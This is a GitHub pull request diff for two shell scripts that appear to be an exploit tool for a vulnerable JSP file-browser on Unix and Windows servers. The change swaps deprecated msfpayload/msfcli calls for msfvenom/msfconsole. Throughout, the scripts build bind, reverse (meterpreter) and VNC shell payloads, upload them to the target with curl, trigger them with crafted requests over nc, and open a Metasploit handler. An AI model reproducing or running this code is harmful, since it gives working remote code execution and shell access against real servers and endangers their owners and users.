Skip to content
This repository has been archived by the owner on Aug 7, 2020. It is now read-only.

Updated msfcli & msfpayload #1

Open
wants to merge 2 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 2 additions & 2 deletions e.sh
Original file line number Diff line number Diff line change
Expand Up @@ -56,7 +56,7 @@ if [ $shell == "bind" ]
then
printf "[!] On which port would you like the bindshell to listen on? "
read port
framework3/msfpayload cmd/unix/bind_perl LPORT=$port R >payload
msfvenom -p cmd/unix/bind_perl LPORT=$port R > payload
printf "[x] Uploading bind shell payload..\n"
curl -F "dir=/tmp" -F "sort=1" -F "name=MyFile" -F "filename=@payload" -F "Submit=Upload" http://$1:$2/browser/browser/browser.jsp 1>/dev/null 2>/dev/null
printf "[x] Verifying if upload was successful...\n"
Expand All @@ -80,7 +80,7 @@ then
myip=`ifconfig -a | grep -i "inet" | cut -d: -f2 | awk '{print $1}' | head -n1`
printf "[!] On which port would you like to accept the reverse shell on? "
read port
framework3/msfpayload cmd/unix/reverse_perl LHOST=$myip LPORT=$port R >payload
msfvenom -p cmd/unix/reverse_perl LHOST=$myip LPORT=$port R > payload
printf "[x] Uploading reverse shell payload..\n"
curl -F "dir=/tmp" -F "sort=1" -F "name=MyFile" -F "filename=@payload" -F "Submit=Upload" http://$1:$2/browser/browser/browser.jsp 1>/dev/null 2>/dev/null
printf "[x] Verifying if upload was successful...\n"
Expand Down
10 changes: 5 additions & 5 deletions e2.sh
Original file line number Diff line number Diff line change
Expand Up @@ -55,7 +55,7 @@ if [ $shell == "bind" ]
then
printf "[x] On which port would you like your bindshell to listen? "
read port
framework3/msfpayload windows/shell_bind_tcp LPORT=$port X >payload.exe
msfvenom -p windows/shell_bind_tcp LPORT=$port R > payload.exe
printf "[x] Uploading bindshell payload..\n"
curl -F "dir=c:\\" -F "sort=1" -F "name=MyFile" -F "[email protected]" -F "Submit=Upload" http://$1:$2/browserwin/browser/Browser.jsp 1>/dev/null 2>/dev/null
rm -rf payload.exe
Expand All @@ -73,7 +73,7 @@ printf "[x] Now executing bind shell...\n"
sed "s/hostx/$1/g" execute/req1.win | sed "s/portx/$2/g" | sed "s/cookiex/$browsercookie/g" | sed -e "s/dir/c:\\\\payload.exe/g" | sed -e "s/46/60/g" | nc $1 $2 1>/dev/null 2>/dev/null
printf "[x] Executed bindshell!\n"
printf "[x] Reverting to metasploit....\n"
framework3/msfcli exploit/multi/handler PAYLOAD=windows/shell_bind_tcp LPORT=$port RHOST=$1 E
msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/shell_bind_tcp; set LPORT $port; set RHOST $1; run"
fi
fi

Expand All @@ -82,7 +82,7 @@ then
myip=`ifconfig -a | grep -i "inet" | cut -d: -f2 | awk '{print $1}' | head -n1`
printf "[x] On which port would you like to accept your reverse shell? "
read port
framework3/msfpayload windows/meterpreter/reverse_tcp LHOST=$myip LPORT=$port X >payload.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$myip LPORT=$port R > payload.exe
printf "[x] Uploading reverseshell payload..\n"
curl -F "dir=c:\\" -F "sort=1" -F "name=MyFile" -F "[email protected]" -F "Submit=Upload" http://$1:$2/browserwin/browser/Browser.jsp 1>/dev/null 2>/dev/null
rm -rf payload.exe
Expand Down Expand Up @@ -111,7 +111,7 @@ if [ $shell == "vnc" ]
then
printf "[x] On which port would you like your vnc shell to listen? "
read port
framework3/msfpayload windows/vncinject/bind_tcp LPORT=$port X >payload.exe
msfvenom -p windows/vncinject/bind_tcp LPORT=$port R > payload.exe
printf "[x] Uploading vnc shell payload..\n"
curl -F "dir=c:\\" -F "sort=1" -F "name=MyFile" -F "[email protected]" -F "Submit=Upload" http://$1:$2/browserwin/browser/Browser.jsp 1>/dev/null 2>/dev/null
rm -rf payload.exe
Expand All @@ -129,7 +129,7 @@ printf "[x] Now executing vnc shell...\n"
sed "s/hostx/$1/g" execute/req1.win | sed "s/portx/$2/g" | sed "s/cookiex/$browsercookie/g" | sed -e "s/dir/c:\\\\payload.exe/g" | sed -e "s/46/60/g" | nc $1 $2 1>/dev/null 2>/dev/null
printf "[x] Executed vnc shell!\n"
printf "[x] Reverting to metasploit....\n"
framework3/msfcli exploit/multi/handler PAYLOAD=windows/vncinject/bind_tcp LPORT=$port RHOST=$1 DisableCourtesyShell=TRUE E
msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/vncinject/bind_tcp; set LPORT $port; set RHOST $1; set DisableCourtesyShell TRUE; run"
fi
fi

Expand Down